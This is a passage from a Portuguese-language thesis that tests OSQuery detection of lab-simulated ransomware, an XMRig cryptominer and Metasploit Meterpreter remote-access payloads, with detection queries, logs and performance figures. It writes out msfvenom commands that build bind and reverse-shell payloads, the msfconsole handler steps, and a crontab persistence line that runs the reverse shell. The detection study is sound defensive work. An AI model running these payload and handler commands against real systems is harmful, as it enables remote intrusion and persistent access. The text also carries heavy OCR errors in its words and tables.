estd em execugdo. Como apontado anteriormente, nem todos os diretdrios do sistema opera-

cional necessitam de monitoramento constante. Portanto, uma pessoa analista que realize o

planejamento correto do seu ambiente de servidores e produza uma lista completa com os di-

retérios que armazenam OS arquivos cruciais para o pleno funcionamento de seus sistemas, é

capaz de, a partir do monitoramento realizado pelo OSQuery, identificar quaisquer comporta-

mentos indesejados e agir com rapidez para evitar grandes danos.
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Sendo assim, as duas queries apresentadas mostram-se suficientes para identificar os dois

principais comportamentos esperados em um ataque de ransomware.

Legend: Exploit == | Scan Tunnel == | Island Communication

Ransomware

1. Run Monkey' &

ubntg : 172.16.0.3

3. Security Reporis

9 Start Over

Configuration

Logs

[ Guardicore
: Monkey collected system information.

[ Documentation ] Y 4:39: : Monkey collected system information.

License . i i
: Monkey discovered machine 172.16.0.1.
Infection Monkey Version: 1.13.0+dev Y

41:33 ubntg: Monkey discovered machine 172.16.98.4.
:14 ubntg: Monkey finishing its execution.

Figura 4.4 Captura de tela da dashboard do Infection Monkey ap6s a execugdo do ataque

4.1.3 Avaliacao dos Resultados

Como citado anteriormente, foi avaliado o conjunto de queries que geraram informagdes
que tornaram possivel a identificacdo dos comportamentos esperados pelos agentes maliciosos.
As duas queries analisadas apresentaram os seguintes resultados:

file_events (executada a cada 30 segundos): utilization: 4.0, cpu_time: 0.02, memory:
27942912, fds: 4, duration: 0.5069339275360107,

processes_open_sockets (executada a cada 60 segundos): utilization: 35.3, cpu_time: 0.54,
memory: 28430336, fds: 4, duration: 1.0193183422088623.

Uma andlise dos resultados apresentados mostra que a query processes_open_sockets €
a que mais consome recursos de CPU (aproximadamente 35%) e passa mais tempo para ser
executada (aproximadamente 1 segundo, duas vezes mais tempo que a anterior). Isso indica
que esta query deve ser executada em um intervalo de tempo maior, para conseguir trazer
resultados sem causar grandes impactos no servidor.

Em seguida, tendo se configurado o osquery deamon para executar as queries indicadas,
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foi realizado mais um experimento de execucdo do ransomware com o mesmo grupo de ar-
quivos para obtencdo de logs. Alguns exemplos de linhas de log geradas neste contexto sdo

apresentadas a seguir:

{

"name" :"processes_open_sockets",

"hostIdentifier":"ubntg",

"calendarTime":"Thu Sep 1 18:40:29 2022 UTC",

"unixTime":1662057629,

"epoch":0,

"counter":1,

"numerics":false,

"columns": {
"cmdline":"./monkey-linux-64 mOnk3y -s 172.16.0.4:5000",
"name" : "monkey-linux-64",
"pid":"17452",
"remote_address":"172.16.0.148",
"remote_port":"3389",
"state":"SYN_SENT",
"username":"tester"

by

"action":"added"

"name" :"processes_open_sockets",
"hostIdentifier":"ubntg",
"calendarTime":"Thu Sep 1 18:40:29 2022 UTC",
"unixTime":1662057629,
"epoch":0,
"counter":1,
"numerics":false,
"columns": {
"cmdline":"./monkey-linux-64 mOnk3y -s 172.16.0.4:5000",
"name" : "monkey-linux-64",
"pid":"17452",
"remote_address":"172.16.0.98",
"remote_port":"7001",
"state":"SYN_SENT",
"username":"tester"
by
"action":"added"
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A partir destas duas linhas de log ficam claras as informagdes de que um processo estd
conectado a um socket e, a partir dele, realizando tentativas de conexdo a diferentes hosts da

rede interna em um curto espaco de tempo, o que caracteriza uma varredura de rede.

{
"name":"file_events",
"hostIdentifier":"ubntg",
"calendarTime":"Thu Sep 1 18:25:12 2022 UTC",
"unixTime":1662056712,
"epoch":0,
"counter":4,
"numerics":false,
"columns": {
"action":"UPDATED",
"atime":"",
"category":"important_files",
"target_path":"/home/tester/important_files/shRzl6fgJ.avi",
"time":"1662056712",
"transaction_id":"0",
"uid".""
by

"action":"added"

"name":"file_events",
"hostIdentifier":"ubntg",
"calendarTime":"Thu Sep 1 18:25:12 2022 UTC",
"unixTime":1662056712,
"epoch":0,
"counter":4,
"numerics":false,
"columns": {
"action":"MOVED_FROM",
"atime":"",
"category":"important_files",
"target_path":"/home/tester/important_files/shRzl6fgJ.avi",
"time":"1662056712",
"transaction_id":"3403",
"uid" """
bo
"action":"added"
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"name":"file_events",

"hostIdentifier":"ubntg",

"calendarTime":"Thu Sep 1 18:25:12 2022 UTC",

"unixTime":1662056712,

"epoch":0,

"counter":4,

"numerics":false,

"columns": {
"action":"MOVED_TO",
"atime":"1662056712",
"category":"important_files",
"target_path":"/home/tester/important_files/shRz16fgJ.avi.mOnk3y",
"time":"1662056712",
"transaction_id":"3403",
"uid":"1000"

by

"action":"added"

Também fica evidente, a partir destas duas linhas, que um processo estd realizando modi-
ficagdes nos arquivos presentes no diretério monitorado que sdo tipicas de um comportamento
de ransomware: a adicdo de uma nova extensdo aos arquivos logo apds a modificacido de seu
conteudo.

Sendo assim, sdo informagdes suficientes para que uma pessoa analista de seguranca da
informacao tome uma atitude, seja de isolamento do dispositivo impactado ou até mesmo seu

desligamento para conten¢do de danos.
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4.2 Deteccao de Ataque de Criptominerador

Como citado anteriormente, o teste de malwares do tipo cryptominer fez uso do software
XMRig em sua versdo 6.18.0. Foi instalada a versdo com configuracdes para execugdo exclu-
siva em CPUs.

Foi utilizado o servigo de wizard da prépria ferramenta para geragdo do arquivo de con-
figuracdo do minerador. Foram utilizados os valores padrdes da ferramenta no contexto de
utilizacdo exclusiva de CPU para mineracdo. A URL para o pool de mineracao utilizada foi
“pool.hashvault.pro:443”, um pool bastante conhecido e utilizado por mineradores em todo o
mundo. O endereco da carteira utilizada como beneficiada dos experimentos foi a do préprio

time de desenvolvimento do XMRig.

4.2.1 Simulacio de Ataque

ApOs a escrita do arquivo de configuracdo, o bindrio foi executado (como apresentado na
figura 4.5)

S 1s

config.json SHA256SUMS

8 S . /xmrig
ABOUT gcc/9.3.0
LIBS libuv/1.44.1 OpenSSL/1.1.10 hwloc/2.7.1
HUGE PAGES
1GB PAGES
CPU 11th Gen Intel(R) Core(TM) 17-1165G7 @ 2.80GHz (1)
1.2 MB 12.0 MB 1C 1T
MEMORY
DONATE 5%
ASSEMBLY auto:
POOL #1 algo auto
COMMANDS hashrate, pause, Fesume, results, gonnection
[2022-88-31 :150:27 ] config configuration saved to: "/[home/tester/Downloads/xmrig-6.18.0-1linux-static-x64/xmrig-6.18.0/config.js
on"
[2022-88-31 :50:29 net use pool
[2022-08-31 :50:29 net
[2022-88-31 :50:29 net from pool.hashvault.pro:443 diff 36800 algo rx/0 height 2781711
[2622-88-31 :50:29 cpu use argon2 implementation
[2022-88-31 :50:29 msr
[2022-88-31 :50:29 msr
[2622-88-31 :50:29 randomx algo rx/0 (1 threads)
[2022-088-31 :50:29 randomx
[2022-88-31 :50:29 randomx
[2022-88-31 :50:29 randomx
[2022-88-31 :50:29 cpu use profile rx (1 thread) scratchpad
[2022-88-31 :50:29 cpu threads huge pages memory
[2022-088-31 :51:30 miner speed 10s/60s/15m max
[2022-88-31 8523 net from pool.hashvault.pro:443 diff 20000 rx/e height 2701711 (62 tx)
[2022-88-31 152: net from pool.hashvault.pro:443 diff 20000 rx/0 height 2701711 (89 tx)
[2022-88-31 5578 miner speed 105/605/15m max
[2022-88-31 S e miner speed 10s5/60s/15m max
[2022-88-31 153: net from pool.hashvault.pro:443 diff 20000 rx/0 height 2701712 (85 tx)
[2022-88-31 :54: net from pool.hashvault.pro:443 diff 20000 rx/e height 2701713 (5 tx)
[2622-88-31 :54: miner speed 10s/60s/15m max
[2022-088-31 9EER net from pool.hashvault.pro:443 diff 20800 rx/0 height 2701714 (5 tx)
Ij__|2022—08—31 8553 miner speed 10s5/60s/15m max

Figura 4.5 Execucao do criptominerador XMRig

Como ja foi descrito anteriormente, o minerador mantém uma conexao com o pool para

o envio e recebimento de informagdes de mineracdo (como estatisticas do job corrente, novos
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jobs, etc.). Esta conexdo pode ser facilmente identificada através da mesma query de con-
sulta a processos que possuem sockets abertos (presente no repositdrio osquery-attck [95]) ja

apresentada nos experimentos relacionados a ataques de ransomware:

Listing 4.3 Query “processes_open_sockets”

SELECT u.username,
p.pid,
p.name,
p.cmdline,
pos.remote_address,
pos.remote_port,
pos.state

FROM processes AS p

JOIN users AS u

ON u.uid=p.uid

JOIN process_open_sockets AS pos

ON pos.pid=p.pid

WHERE pos.remote_port !='0';

Como resultado da consulta, é retornada uma lista de processos onde fica evidente que
um processo estd com uma conexado estabelecida para um endereco IP notadamente malicioso

(apresentado na figura 4.6):

SELECT u.username,
p.pid,
p.name,
p.cmdline,
pos.remote_address,
pos.remote_port,
pos.state
FROM processes AS p
JOIN users AS u
ON u.uid=p.uid
JOIN process_open_sockets AS pos
ON pos.pid=p.pid
WHERE pos.remote_port !='0"
F------ Fommmmmmme o B e R Fommmmmmmmm - +--
| name | emdline | remote_address | remote_port | s
R F------ Fommmmmmme o B e R Fommmmmmmmm - R +
| root | 484 | NetworkManager | /usr/sbin/NetworkManager --no-daemon | 10.0.2.2 |
| tester | 7869 | xmrig | ./xmrig | 131.153.56.98 | 443 | ESTABLISHED
B Feommmmmmmeo B e R e R +

Figura 4.6 Resultado da execucdo da query processes_open_sockets em simulagio de criptominerador

Tendo em vista que o minerador necessita que esta conexao esteja ativa durante todo o pro-
cesso de mineragdo, esta query torna-se suficiente para realizar a identificacdo de uma ameaca
deste tipo. Porém, para além de comportamentos de rede, também ¢é possivel se utilizar o OS-
Query para se elencar os processos ndo nativos do sistema operacional que estdo tomando mais
tempo de CPU em sua execucgdo através de uma combinagdo de consultas a tabela processes

(para obten¢ao do nome do processo, seu pid, linha de comando e tempos gastos em contexto de
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usudrio e de kernel) enriquecida com informagdes da tabela users (para obtencao dos usudrios

responsaveis por cada processo em lista):

Listing 4.4 Query “processes_by_cpu_time”

SELECT u.username,

p.pid,

p.name,

p.cmdline,

p.user_time + p.system_time AS cpu_time
FROM processes AS p
JOIN users AS u
ON u.uid=p.uid
WHERE p.pid <> 0
ORDER BY cpu_time
DESC LIMIT 10;

Como resultado da consulta, é retornada uma lista dos 10 processos que consomem mais
tempo de CPU (para efeitos de visualizacdo, foi omitida a coluna com a linha de comando dos

processos apresentada na figura 4.7):

SELECT u.username,
p.pid,
p.name,
p.user_time + p.system_time AS cpu_time
FROM processes AS p
JOIN users AS u
ON u.uid=p.uid
WHERE p.pid <> @
BY p.user_time DESC

—————————— +
cpu_time |
—————————— +
root 146010
tester 1141 gnome-shell 72670
tester y gnome-terminal- 11010
root ELEDL 8850

tester y VBoxClient 6400
tester y ibus-daemon 3400
tester gnome-system-mo 3230
systemd-oom systemd-oomd 3210

|
|
|
|
tester y Xwayland 9720 |
|
|
|
|
root osqueryi |

—————————— +

Figura 4.7 Resultado da execucdo da query processes_by_cpu_time em simulacio de criptominerador

Com as informacoes apresentadas, uma pessoa analista, munida de um inventdrio de soft-
ware atualizado a respeito dos processos esperados no servidor, pode facilmente identificar
quais processos estdo consumindo recursos de processamento da miquina de maneira nio es-
perada (ou até maliciosa). Sendo assim, as duas queries apresentadas mostram-se suficientes

para identificar os dois principais comportamentos esperados em um ataque de criptominerador.



4.2 DETECCAO DE ATAQUE DE CRIPTOMINERADOR 42

4.2.2 Avaliacao dos Resultados

Como citado anteriormente, foi avaliado o conjunto de queries que geraram informacoes
que tornaram possivel a identificacdo dos comportamentos esperados pelos agentes maliciosos.
As duas queries analisadas apresentaram os seguintes resultados:

processes_by_cpu_time (executada a cada 60 segundos): utilization: 6.0, cpu_time: 0.06,
memory: 28880896, fds: 4, duration: 0.5091516971588135;

processes_open_sockets (executada a cada 60 segundos): utilization: 35.133, cpu_time:
0.54, memory: 30658560, fds: 4, duration: 1.023181676864624;

Uma anélise dos resultados apresentados mostra que, como no experimento anterior, a
query processes_open_sockets € a que mais consome recursos de CPU (aproximadamente 35%)
e passa mais tempo para ser executada. Isso indica que esta query deve ser executada em um
intervalo de tempo maior, para conseguir trazer resultados sem causar grandes impactos no
servidor.

Dando prosseguimento a avaliacdo, tendo se configurado o osquery deamon para executar
as queries indicadas, foi realizado mais um experimento de execu¢ao do criptominerador para
obtencdo de logs. Dois exemplos de linhas de log geradas neste contexto sdo apresentadas a
seguir:

{

"name" :"processes_by_cpu_time",

"hostIdentifier":"ubntg",

"calendarTime":"Wed Aug 31 15:20:33 2022 UTC",

"unixTime":1661959233,

"epoch":0,

"counter":1,

"numerics":false,

"columns": {

"cmdline":"/home/tester/xmrig",
"cpu_time":"26290",

"name" :"xmrig",
"pid":"9550",
"username" :"root"
b
"action":"added"

A partir desta linha de log, fica evidente a informagcao de que um novo processo foi incluido
na lista dos maiores consumidores de recursos de CPU, o que pode ser utilizado na geracio de

alertas para o time de analistas responsdvel pelo monitoramento do servidor.
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"name" :"processes_open_sockets",
"hostIdentifier":"ubntg",
"calendarTime":"Wed Aug 31 15:21:03 2022 UTC",
"unixTime":1661959263,

"epoch":0,

"counter":1,

"numerics":false,

"columns": {
"cmdline":"/home/tester/xmrig",
"name" :"xmrig",
"pid":"9550",
"remote_address":"131.153.142.106",
"remote_port":"443",
"state":"ESTABLISHED",
"username" :"root"

by

"action":"added"

A partir desta segunda linha de log, fica evidente a informacdo de que um novo processo
possui uma conexao estabelecida a um endereco externo presente em listas de evidéncias de
infeccdo por softwares maliciosos.

Sendo assim, sdo informagdes suficientes para que uma pessoa analista de segurancga da
informacao tome uma atitude, seja de isolamento do dispositivo impactado ou até mesmo seu

desligamento para conten¢do de danos.
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4.3 Deteccao de Ataque de RAT

Como citado anteriormente, foram realizadas geracdes de dois payloads de acesso remoto
do tipo Meterpreter através da ferramenta de seguranca Metasploit [72] (utilizando-se seu com-

ponente ms fvenom) e testados seus comportamentos separadamente.

4.3.1 Beacon Passivo

Para a gerac@o do beacon passivo, foi utilizado o seguinte comando na maquina atacante:

msfvenom -p linux/x64/meterpreter/bind_tcp \
LHOST=172.16.0.4 \

LPORT=5555 \

-f elf > Linux.RAT.meterpreter_bind_tcp

Em seguida, o beacon gerado foi transferido para a maquina alvo e executado a partir do
usudrio padrdo fester. Beacons passivos sdo facilmente detectados por conta de seu compor-
tamento de manutencdo de portas de rede abertas em estado de LISTENING no dispositivo
infectado para o recebimento de uma conexao do atacante.

Em um primeiro momento, para se atacar o comportamento citado acima (caracteristico de
um agente ainda sem conexdes ativas), pode-se utilizar o OSQuery para se listar processos que
estejam ouvindo em portas de rede do dispositivo.

Uma possibilidade de query, presente no repositério OSQuery no GitHub [85], € obtida
a partir da combinagdo de consultas as tabelas processes (para se obter o nome e PID dos
processos em questdo) e listening_ports (para se obter as portas de rede abertas e enderecos

remotos dos processos responsaveis):

Listing 4.5 Query "processes_binding_to_ports"
SELECT DISTINCT process.NAME,
listening.port,
listening.address,
process.pid
FROM processes AS process
JOIN listening_ports AS listening
ON process.pid = listening.pid;

A execucdo da query traz os resultados apresentados na figura 4.8.
Uma pessoa analista pode, observando o resultado acima, identificar quais processos sao
nativos do sistema operacional, quais sdo aplicacdes legitimas instaladas no servidor e quais

podem representar algum risco. No caso deste experimento, o primeiro processo da lista trata-

se do beacon de acesso remoto em execucao.
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Em um segundo momento, na maquina atacante, foi realizado o procedimento de conexao
ao alvo para o acesso remoto de fato. Para tanto, foi realizada a utilizacdo do componente de

console interativo do Metasploit a partir da sequéncia de comandos indicada abaixo:

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/bind_tcp
set RHOST 172.16.0.3

set LPORT 5555

exploit

Ap0s a execucdo do comando exploit, a conexdo com o alvo € realizada e a maquina
atacante passa a ter acessos ao sistema infectado com permissdes do usudrio tester, como apre-

sentado na figura 4.9.

SELECT DISTINCT
process.name,
listening.port,
listening.address,
process.pid

FROM processes AS process
JOIN listening_ports AS listening
ON process.pid = listening.

Linux.RAT.meter
cupsd
systemd-resolve
cupsd
avahi-daemon

avahi-daemon
avahi-daemon
avahi-daemon
NetworkManager
gnome-session-b

|
|
|
|
|
cups-browsed 1
|
|
|
|
|

Figura 4.8 Resultado da execugdo da query processes_binding_to_ports em simulacdo de RAT passivo

Neste momento, estando com a conexao remota ativa, € possivel se utilizar a tabela pro-
cess_open_sockets para se obter informacdes a respeito de quais processos em execugdo pos-
suem sockets abertos na maquina cujas portas remotas possuem valor diferente de zero (para
se filtrar processos nativos do sistema).

Assim como em experimentos anteriores, esta conexao ativa pode ser facilmente identifi-
cada através da utilizacdo da query "process_open_sockets"ja apresentada e disponivel no re-
positorio osquery-attck [95]. A execugdo da query, enquanto a conexdo do atacante estd ativa,
traz uma lista bastante sucinta de processos que possuem tais caracteristicas, apresentada na

figura.
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Figura 4.9 Visdo do atacante apds se conectar ao beacon presente na maquina alvo

SELECT u.username,
p.pid,
p.name,
p.cmdline,
pos.remote_address,
pos.remote_port,
pos.state

FROM processes AS p

JOIN users AS u

ON u.uid=p.uid

JOIN process n_sockets AS pos
ON pos.pid=p.pid
WHERE pos.remote_port !
- -+
username | pid

| root | 484 | NetworkManager | fusr/sbin/NetworkManager --no-daemon | 172.
| 8917 | Linux.RAT.meter ./Linux.RAT. erpreter_bind_tcp

Figura 4.10 Resultado da execugdo da query processes_open_sockets em simulacdo de RAT passivo

No ambiente testado, nenhum outro servico com comportamento ativo em relacao a rede

(como uma aplica¢do web) estava em execucdo, portanto o resultado do teste exibiu apenas o
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processo NetworkManager, nativo do sistema operacional, e o processo malicioso. Porém, uma
pessoa analista que possui um inventario de software atualizado € capaz de identificar, na lista
retornada, processos que nao deveriam apresentar conexdes externas. Em adi¢do, analisando os
valores da coluna remote_address, uma pessoa analista € capaz de realizar consultas a bases de
enderecos IP (através de servigos como Graynoise e Shodan) e identificar, dentre os enderegos
com acessos aos sistemas em execucao, quais sdo notadamente maliciosos ou possuem indicios

que apontem para tal.

4.3.2 Beacon Ativo

A geracdo de beacons ativos através do Metasploit assemelha-se a citada anteriormente,
com a diferenca que, neste momento, € utilizado o payload do tipo reverse_tcp, como indicado
no comando abaixo aplicado na maquina atacante (destaque para o novo valor de porta remota,
escolhido para diferenciagdo dos experimentos):

msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=172.16.0.4 \
LPORT=6666 \

-f elf > Linux.RAT.meterpreter_reverse_tcp

Assim como no experimento anterior, o payload gerado foi transferido para a méaquina
alvo através da rede virtual e executado. Beacons ativos, como descrito anteriormente, sao
aqueles que continuamente realizam tentativas de conexao ao servidor de comando e controle
para que seja provido o acesso ao dispositivo infectado. Uma pessoa analista que realize o
monitoramento do trafego de saida do servidor em faixas de tempo varidveis pode identificar
este comportamento. Este monitoramento pode ser realizado por meio do OSQuery através da
tabela bpf_socket_events, que necessita da ativacdo da funcionalidade de eventos de bpf.

Para se realizar o monitoramento por meio do osqueryi, € necessdrio se ativar a funciona-
lidade mencionada através do seguinte comando (disponivel na documentacdo da ferramenta
[84]):

sudo osqueryi \
——audit_allow_config=true \
——audit_allow_sockets=true \
——audit_persist=true \
——disable_audit=false \
-—events_expiry=3600 \
-—events_max=5000 \
—-—logger_plugin=filesystem \

——disable_events=false \
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——enable_bpf_events=true

Com a interface e o payload em execu¢do (mesmo sem conexdes ativas com a maquina
atacante), € possivel se monitorar as tentativas de conexdo realizadas pelos processos através
da seguinte query:

SELECT pid,
syscall,
path,
remote_address,
remote_port,
ntime

FROM bpf_socket_events;

Como resultado, serd retornada uma tabela com os ultimos eventos de socket capturados
pelo OSQuery. na figura 4.11, observa-se as sucessivas tentativas do beacon ativo para se obter

uma resposta do servidor de comando e controle

select pid, syscall, path, remote_address, remote_port, ntime from bpf_socket_events;

connect
connect
connect
connect
connect
connect
connect
connect
connect
connect
connect
connect

Jhome/tester/./Linux.RAT.meterpreter_rewv .8.

/home/tester/. /Linux.RAT.meterpreter_reverse_tcp 172.16.0. 14688675949944
/home/tester/. /Linux.RAT.meterpreter_reverse_tcp 172.16.0. 14693677344143
/home/tester/./Linux.RAT.meterpreter_reverse_tcp .16.0. 14698678394994
/home/tester/. /Linux.RAT.meterpreter_reverse_tcp 172.16.0.4 14703680317096
fusr/lib/snapd/snapd Jrun/systemd/notify 14704172848002
fhomeftester/./Linux.RAT.meterpreter_reverse_tcp 172.16.6.4 14708681833101
/home/tester/. /Linux.RAT.meterpreter_reverse_tcp 172.16.0.4 14713683333590
Jhome/tester/. /Linux.RAT.meterpreter_reverse_tcp 172.16.0.4 14718686745238

fhomeftester/./Linux.RAT.meterpreter_reverse_tcp 172.16.6.4 14723689699730
fhome /tester/. /Linux. .meterpreter_reverse_tcp 172.16.0.4 14728691178839
Jusr/lib/snapd/snapd Jrun/systemd/notify 14854170041521

I
+
|
|
|
|
|
|
|
|
|
|
|
I
£

Figura 4.11 Resultado da execugfo de consulta a tabela bpf_socket_events em simulagido de RAT ativo

Para se observar o comportamento com a conexao ativa, € necessario que a maquina ata-
cante realize uma resposta ao payload. Para isto, no terminal de ataque foi executada seguinte
sequéncia de comandos (semelhante ao exemplo anterior):

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 172.16.0.4
set LPORT 6666
exploit
Ap6s o estabelecimento da conexdo, em um cendrio semelhante ao citado anteriormente,

€ possivel se realizar a mesma consulta "process_open_sockets"jd apresentada para se obter
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informacdes sobre 0s processos cujos sockets estdo com conexdes ativas. O resultado obtido

no experimento € apresentado na figura 4.12

SELECT u.username,
p.pid,
p.name,
p.cmdline,
pos.remote_address,
pos.remote_port,
pos.state

FROM processes AS p

JOIN users AS u

ON u.uid=p.uid

JOIN process_open_sockets AS pos
ON pos.pild=p.pid
WHERE pos.remote_port !='8";
+---------- +------ R e e s Fommmmmmmm oo +
| username | pid | name | cmdline | remote_address | remote_port | state

| root | 484 | NetworkManager | /fusr/sbin/NetworkManager --no-daemon | 172.1
| tester | 9821 | Linux.RAT.meter | ./Linux.RAT.meterpreter_reverse_tcp o
- e B Fommmmmm oo F---mmmmm oo +

Figura 4.12 Resultado da execugdo da query processes_open_sockets em simula¢do de RAT ativo

Como citado anteriormente, apenas os processos padroes do sistema operacional e o beacon
estavam em execucao, portanto a lista retornada € bastante sucinta. Porém, da mesma maneira,
um inventdrio de softwares atualizado pode ser utilizado para descartar processos legitimos e

identificar processos maliciosos.

4.3.3 Deteccao de Shell

Em ambos os casos de infec¢do por RAT, um comportamento bastante comum € a utiliza¢do
das interfaces nativas do sistema por parte do atacante. Isto significa que o processo malicioso,
responsavel pela conexdo remota, também € responsavel pela execucdo e acesso do atacante
aos bindrios sh ou bash. Portanto, também € possivel realizar a detec¢do deste comportamento
através do OSQuery, por meio da seguinte query provida pela prépria ferramenta em seu pacote

"osx-attack":

Listing 4.6 Query "behavioral_reverse_shell"

SELECT DISTINCT (processes.pid),
processes.parent,
processes.name,
processes.path,
processes.cmdline,
processes.cwd,
processes.root,
processes.uid,
processes.gid,

processes.start_time,
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process_open_sockets.remote_address,
process_open_sockets.remote_port,
(SELECT cmdline
FROM processes AS parent_cmdline
WHERE pid=processes.parent) AS parent_cmdline

FROM processes

JOIN process_open_sockets USING (pid)

LEFT OUTER JOIN process_open_files

ON processes.pid = process_open_files.pid

WHERE (name=’'sh’ OR name=’bash’)

AND process_open_files.pid IS NULL

AND process_open_sockets.remote_port > 0;

Em resumo, esta query busca processos que possuem conexdes externas ativas e, 20 mesmo
tempo, estejam executando o bash ou sh. Em ambos cendrios apresentados anteriormente,
quando a funcionalidade de shell foi habilitada a partir da maquina atacante, foi possivel se
identificar apenas um processo que apresente as caracteristicas consultadas, como apresentado

na figura 4.13.

SELECT DISTINCT(processes.pid), processes.name, processes.cmdline, processes.cwd,
process_open_sockets.remote_address, process_open_sockets.remote_port,
(SELECT cmdline FROM processes AS parent_cmdline WHERE pid=processes.parent) AS parent_cmdline
FROM processes JOIN process_open_sockets USING (pid)
LEFT OUTER JOIN process_open_files
ON processes.pid = process_open_files.pid
WHERE (name='sh' OR name='bash')
AND process open_files.pid IS NULL
AND process_open_sockets.remote_port

| 99086 | sh | /binfsh | fhome
+------ +------ Fommmmmm - B B

Figura 4.13 Resultado da execucgdo da query behavioral_reverse_shell (editada para melhor visualiza-
¢d0) em simulagd@o de RAT ativo

4.3.4 Deteccao de Persisténcia

Anteriormente foram apresentadas duas das técnicas utilizadas por malwares de acesso re-
moto para a obtencao de persisténcia nos hosts infectados: criacdo de cronjobs e de arquivos
de autostart. O OSquery permite o monitoramento destes dois comportamentos, como apre-
sentado nos testes a seguir.

Para a simulagdo de persisténcia por cronjobs, supds-se que o atacante foi capaz de con-
seguir privilégios de administrador na maquina alvo e adicionou a seguinte linha no arquivo

/etc/crontab:
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*/5 % x * % root /home/tester/Linux.RAT.meterpreter_reverse_tcp

Esta linha realiza a criacdo de um job que, a cada cinco minutos, realiza a execu¢do do
beacon ativo localizado na pasta home do usudrio tester. A deteccdo deste comportamento

pode ser realizada através de uma simples consulta a tabela crontab do OSQuery:

Listing 4.7 Query "existing_cronjobs"

SELECT » FROM crontab;

Como resultado, a consulta retorna detalhes a respeito de todos os cronjobs registrados
no sistema, como apresentado na figura 4.14 que, na linha em destaque, apresenta o cronjob

malicioso criado pelo atacante.

select command, path from cront
command

J/etc/crontab
J/etc/crontab
J/etc/crontab
Jetc/crontab
Jetc/crontab
Jetc/cron.d/e2scrub_all |
Jetcfcron.dfe2scrub_all |

root cd run-parts --report fetc/cron.hourly
root test -x fusr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )

root test -x fusr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
root test -x Jusr/sbin/anacron || ( c¢d / && run-parts --report Jetc/cron.monthly )
root /fhome/tester/Linux.RAT.meterpreter_reverse_tcp
root test -e /run/systemd/system || SERVICE_MODE=1 fusr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
root test -e frun/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all
o o .

+—————— =+

i
I
I
I
'
'
'
'

e

Figura 4.14 Resultado da execugdo da query existing_cronjobs (editada para melhor visualiza¢do) em
simulagao de persisténcia

A segunda técnica mencionada foi a criacdo de arquivos com extensdo .desktop em dire-
torios de inicializagdo automética do Linux (como /etc/xdg/autostart e /.config/autostart). A si-
mulacdo para este caso foi realizada através da criagdo de um arquivo nomeado evil.autostart.desktop
no diretério /home/tester/.config/autostart.

Assim como apontado no experimento para detec¢do de ransomwares, para a detec¢do
deste comportamento, € necessario se fazer uso da funcionalidade de monitoramento de sis-
tema de arquivos do OSQuery. Esta funcionalidade exige que sejam especificados, no arquivo
osquery.conf, quais diretérios devem ser monitorados através da tag file_paths. Neste exemplo,

utilizou-se a seguinte configuragao:

{
"file_paths":{

"autostart": [
"/etc/xdg/autostart/%%",
"/home/%/.config/autostart/%%"

]

}
}

Para a realizacdo do teste, foi necessdrio se inicializar o osqueryi com as seguintes flags:
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sudo osqueryi \
—-—events_expiry=3600 \
——events_max=5000 \
——disable_events=false \

——enable_file_events=true

Com o console ja disponivel, foi realizada a criacdo do arquivo mencionado no diretério
de autostart do usudrio fester e consultados os eventos de arquivo ocorridos neste meio tempo

através da query:

Listing 4.8 Query "file_events"
SELECT target_path, action FROM file_events;

O resultado obtido é apresentado na figura 4.15. Sao evidentes os eventos ocorridos no
diretdrio especificado, o que resulta na suspeita de execu¢do uma tentativa de persisténcia pelo

agente malicioso.

target_path, action from file_events;

| /home/tester/.config/autostart/evil.autostart.desktop | CREATED
| /home/tester/.config/autostart/evil.autostart.desktop | ATTRIBUTES MODIFIED |
| fhome/tester/.config/autostart/evil.autostart.desktop | UPDATED

Figura 4.15 Resultado da execuc¢@o da query file_events em simulacdo de persisténcia

4.3.5 Avaliacao dos Resultados

Como citado anteriormente, serd avaliado o conjunto de queries que geraram informacoes
que tornaram possivel a identificacdo dos comportamentos esperados pelos agentes maliciosos.

Para os testes realizados na identificacdo de RATs passivos, ativos e suas tentativas de per-
sisténcia, as queries analisadas apresentaram os seguintes resultados:

file_events (executada a cada 30 segundos): utilization: 3.0, cpu_time: 0.03, memory:
27713536, fds: 4, duration: 0.5087668895721436;

existing_cronjobs (executada a cada 60 segundos): utilization: 2.0, cpu_time: 0.02, me-
mory: 27217920, fds: 4, duration: 0.5092642307281494;

processes_binding_to_ports (executada a cada 60 segundos): utilization: 8.0, cpu_time:
0.08, memory: 29036544, fds: 4, duration: 0.508770227432251;
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processes_open_sockets (executada a cada 60 segundos): utilization: 34.56, cpu_time:
0.53, memory: 27959296, fds: 4, duration: 1.0207955837249756;

behavioral_reverse_shell (executada a cada 60 segundos): utilization: 7.0, cpu_time: 0.07,
memory: 28045312, fds: 4, duration: 0.510101318359375;

Uma andlise dos resultados apresentados mostra que, como nos experimentos anteriores,
a query processes_open_sockets € a que mais consome recursos de CPU (aproximadamente
34%) e passa mais tempo para ser executada. Isso indica que esta query deve ser executada em
um intervalo de tempo maior, para conseguir trazer resultados sem causar grandes impactos no
servidor.

Em seguida, tendo se configurado o osquery deamon para executar as queries indicadas,
foi realizado mais um experimento de execucdo de payload de acesso remoto do tipo beacon
ativo para obtenc¢do de logs. Um exemplo de linha de log gerada neste contexto € apresentada
a seguir:

{

"name" :"processes_open_sockets",

"hostIdentifier":"ubntg",

"calendarTime":"Wed Aug 31 13:55:40 2022 UTC",

"unixTime":1661954140,

"epoch":0,

"counter":4,

"numerics":false,

"columns": {

"cmdline":"/home/tester/Linux.RAT.meterpreter_reverse_tcp",
"name" :"Linux.RAT.meter",
"pid":"9137",

"remote_address":"172.16.0.4",
"remote_port":"6666",

"state" :"ESTABLISHED",
"username":"root"

b,
"action":"added"

Com esta linha de log ficam claras as informacgdes de qual processo estd executando a
conexao, a que host esta conexdo estd sendo realizada e qual a porta acessada. Em ambos os
tipos de beacons, esta query retorna resultados semelhantes no momento em que a conexao
com o atacante estd ativa, como apresentado nos testes manuais. Sendo assim, sao informacoes
suficientes para que uma pessoa analista de seguranca da informacao tome uma atitude, seja de

isolamento do dispositivo impactado ou até mesmo seu desligamento para conten¢do de danos.
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4.4 Consideracoes Finais

As simulagdes realizadas performaram, ainda de que maneira nao intencional, algumas das
